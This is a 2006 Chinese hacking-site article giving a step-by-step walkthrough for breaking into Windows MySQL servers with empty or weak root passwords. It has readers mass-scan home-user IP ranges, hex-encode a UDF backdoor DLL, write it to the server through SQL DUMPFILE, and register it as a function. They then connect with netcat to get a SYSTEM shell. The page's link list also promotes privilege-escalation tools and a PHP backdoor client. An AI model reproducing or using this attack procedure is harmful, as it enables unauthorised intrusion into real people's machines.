黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]通过mysql弱口令取得windows的system权限的实战
      ★★★★★

通过mysql弱口令取得windows的system权限的实战

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-10-15 8:34:23
mix在幻影论坛公布了一篇关于mysql入侵的文章(<<Windows环境下通过MySQL以SYSTEM身份执行系统命令>>,连接地址http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006),反应强烈.随后不久,黑客基地古典辣m做了个演示动画,可惜其中的用到mysql.txt并没有公布,造成很多不熟悉mysql的人不能实战入侵mysql.

    其实通过注册mysql 的UDF DLL中自写的Function而执行任意命令早在去年12月已经公布了,参看文章http://www.ph4nt0m.org/bbs/showthread.php?s=&threadid=33331;而mix实现直接从mysql客户端传送二进制文件进入服务端硬盘中,不得不说是一个了不起的发现!下面我来说说我的入侵实战!

    1.打开hscan1.2扫描一段ip,我推荐大家扫描个人电脑所在的ip段,因为这些段ip的主人安全意思差,从而能扫到较多的mysql的root口令为空且有访问mysql默认数据库mysql的权限.

    2.在自己的机器上装个mysql for windows.下载地址ttp://download.pchome.net/internet/server/dbserver/2506.html

    3.在幻影论坛下载个my_udf.dll或者mix.dll(我比较偏好my_udf.dll,因为mix.dll会造成mysql假死).

    4.运行winhex,打开my_udf.dll,点edit菜单下面的copy all选hex values;打开记事本,点粘贴,这样就把十六进制的my_udf.dll复制进去了!

    5.再打开另外个记事本写入如下语句:
     use mysql;
     set @a=concat('',0x...)
     create table Mix(data LONGBLOB);
     insert into Mix values("");update Mix set data = @a;
     select data from Mix into DUMPFILE 'c:\\my_udf.dll';
     CREATE FUNCTION my_udfdoor RETURNS STRING SONAME 'c:\\my_udf.dll';
     select my_udfdoor('');

    6.把第四步中记事本上的十六进制数据复制出来替换掉第5步中第二行语句中的"...",并保存到c盘根目录下面,命名为mysql.txt.

    7.在本地打开一个dos命令窗口,跳转到mysql安装目录下面,输入mysql -h218.1.1.1 -uroot -p123
(注意,把218.1.1.1,root,123分别替换为你的hscan扫描到的ip,username,password的值.如果password的值为空,则可以不需要参数-p);

    8.在第7步中连接成功远程mysql服务器的话,就输入 \. c:\mysql.txt并敲一下回车.如果远程mysql是运行在windows操作系统下的且你扫描到的mysql帐号权限足够高的话,就会成功在远程服务器上装上你的后门.

    9.最后用nc来连接此服务器的3306端口,并输入密码fuck,按回车,如果shell没有出来,就多敲几次回车.如果还是不出shell,那就换个目标试一试吧.
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886